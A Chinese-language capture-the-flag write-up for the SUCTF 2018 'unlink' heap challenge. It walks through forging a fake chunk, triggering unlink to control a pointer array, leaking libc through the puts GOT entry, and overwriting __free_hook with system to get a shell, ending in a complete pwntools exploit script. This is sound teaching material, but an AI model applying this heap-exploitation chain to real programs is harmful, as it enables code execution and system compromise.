【pwn】[SUCTF 2018 招新赛]unlink --堆利用之unlink

先来看一下程序的保护情况

堆栈不可执行,而且还开了canary

看一下ida

又是经典菜单题,接着分析每一个函数功能就行

touch函数:有一个数组存malloc出来的地址

delete函数:删除堆中的数据,不存在uaf漏洞

show函数:打印堆中数据

take_note函数:向堆中写数据

分析到这里,根据题目的提示,那就用unlink来打,这里有篇博客可以先学习一下:【pwn学习】堆溢出(三)- Unlink和UAF_堆溢出 got表-CSDN博客

首先我们先创建三个堆块

debug看一下

再看看一下存堆地址的数组

接着我们来构造一个fake_chunk

 

首先我们来一步步看这个过程,我们payload是向第一个堆中写入数据,但是却溢出到了第二个堆中的数据,将第二个堆中的prevsize和size改了

图中第二个框就是第二个堆,可以看到presize和size已经被修改,之所以为什么这么改0x20,是因为是第二个堆地址-0x20确定第一个堆的地址,0x90是为了表示第一个堆已经被free了,触发unlink

,当我们delete(1)时就会将第一个chunk解链,这个过程就是要利用第一个堆的fd和bk指针,这个过程就是fd->bk=bk,bk->fd=fd,其实就是一个双向链表解链操作

我们来看这一步bk->fd=fd,我们知道前面的bk是buf-0x10,所以解链时我们就会到0x6020b中,找到bk_fd指针位置(其实就是距离0x6020b+0x10)的位置,将0x6020c0此处的地址复制成fd(这个fd是我们fakechunk中的fd,即0x6020a8),debug看一下


那这样有什么用呢?首先确定一点,这个地址的值已经被我们控制了,那就可以通过puts函数,将puts函数的地址打印出来,泄露出libc基址,然后将free的plt表修改成system函数,即可达到getshell目的

先来看一下exp:

from pwn import *
context(os='linux',arch='amd64',log_level='debug')
io=process("./pwn")
elf=ELF("./pwn")
#io=remote("node4.anna.nssctf.cn",28319)

def debug():
    gdb.attach(io)
    pause()

def touch(size):
    io.recvuntil(b"please chooice :\n")
    io.sendline(str(1))
    io.recvuntil(b"please input the size : \n")
    io.sendline(str(size))

def delete(index):
    io.recvuntil(b"please chooice :\n")
    io.sendline(str(2))
    io.recvuntil(b"which node do you want to delete\n")
    io.sendline(str(index))

def show(index):
    io.recvuntil(b"please chooice :\n")
    io.sendline(str(3))
    io.recvuntil(b"want to show")
    io.sendline(str(index))
    io.recvuntil(b'is : ')

def take_note(index,content):
    io.sendlineafter(b'chooice :\n',b'4')
    io.sendlineafter(b'modify :\n',str(index).encode())
    io.sendafter(b'content\n',content)

touch(0x20)
touch(0x80)
touch(0x100)    
#debug()

buf=0x6020c0
#fake_chunk
prev_size=p64(0)
chunk_size=p64(0x20)
fd=buf-0x18
bk=buf-0x10
content=p64(fd)+p64(bk)
of_prev_size=p64(0x20)  
of_chunk_size=p64(0x90)
payload=prev_size+chunk_size+content+of_prev_size+of_chunk_size

take_note(0,payload)
delete(1)
debug()

payload=p64(0)*3+p64(0x6020c8)    
take_note(0,payload)             #这里其实是在向0x6020a8中写入数据了

payload=p64(elf.got['puts'])     
take_note(0,payload)            #这里是在向0x6020c8中写入数据
show(1)                                   #打印0x6020c8中的数据
puts_addr=u64(io.recvuntil(b'\x7f')[-6:]+b'\x00\x00')  
print(hex(puts_addr))

libc=ELF("./libc-2.23.so")
libc_base=puts_addr-libc.sym['puts']
free_hook=libc_base+libc.sym['__free_hook']
bin_sh_str=libc_base+next(libc.search(b'/bin/sh\x00'))
payload=p64(free_hook)+p64(bin_sh_str)
take_note(0,payload)

system=libc_base+libc.sym['system']
take_note(1,p64(system))
delete(2)
 
io.interactive()

 

posted @ 2024-01-18 14:56  GGBomb  阅读(60)  评论(0编辑  收藏  举报